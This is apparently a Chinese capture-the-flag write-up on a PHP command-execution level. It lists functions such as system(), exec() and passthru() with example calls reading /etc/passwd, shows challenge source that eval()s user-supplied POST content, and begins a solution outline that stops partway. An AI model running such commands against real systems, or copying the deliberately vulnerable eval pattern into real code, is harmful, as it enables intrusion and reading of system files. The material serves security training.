system() 函数用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行)。
eg:system('cat /etc/passwd');
exec() 函数可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。
eg:exec('cat /etc/passwd', $result); print_r($result);
shell_exec() 函数执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。
eg:echo shell_exec('cat /etc/passwd');
passthru() 函数执行系统命令并将执行结果输出到页面中,支持二进制数据。
eg:passthru('cat /etc/passwd');
popen() 函数执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。
eg:$result = popen('cat /etc/passwd', 'r'); echo fread($result, 100);
反引号 用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。
eg:echo \cat /etc/passwd`;`
在该关卡中,你将会从能够执行系统命令的PHP函数中抽取一个,
你需要填充函数的内容来执行某些系统命令以获取flag
(tip:flag存储在 /flag 中,当然你也可以尝试其他方法)。
*/
function hello_ctf($function, $content){
if($function == '``'){
$code = '`'.$content.'`';
echo "Your Code: $code <br>";
eval("echo $code");
}else
{
$code = $function . "(" . $content . ");";
echo "Your Code: $code <br>";
eval($code);
}
}
function get_fun(){
$func_list = ['system', 'exec', 'shell_exec', 'passthru', 'popen','``'];
if (!isset($_SESSION['random_func'])) {
$_SESSION['random_func'] = $func_list[array_rand($func_list)];
}
$random_func = $_SESSION['random_func'];
$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);
echo $random_func == '``' ? "获得隐藏运算符: 执行运算符 ,去 https://www.php.net/manual/zh/language.operators.execution.php 详情。<br>" : "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";
return $_SESSION['random_func'];
}
function start($act){
$random_func = get_fun();
if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */
session_unset();
session_destroy();
}
if ($act == "submit"){
$user_content = $_POST['content'];
hello_ctf($random_func, $user_content);
}
}
isset($_GET['action']) ? start($_GET['action']) : '';
highlight_file(__FILE__);
?>
18.2. 尝试与解题
18.2.1. 分析
根据上述代码,与之前的第二关有一点像,
利用get请求是action然后再post请求content,
- 首先,先使用get请求达到
$act == "submit"的要求 - 其次,要开始用post请求,输入content内容是什么?
18.2.2. 解决

- 若选中反引号(``):页面显示
获得隐藏运算符: 执行运算符 ,去 https://www.php.net/manual/zh/language.operators.execution.php 详情。 - 若选中其他函数(如
system):页面显示获得新的函数: system ,去 https://www.php.net/manual/zh/function.system.php 查看函数详情。
2710



被折叠的 条评论
为什么被折叠?



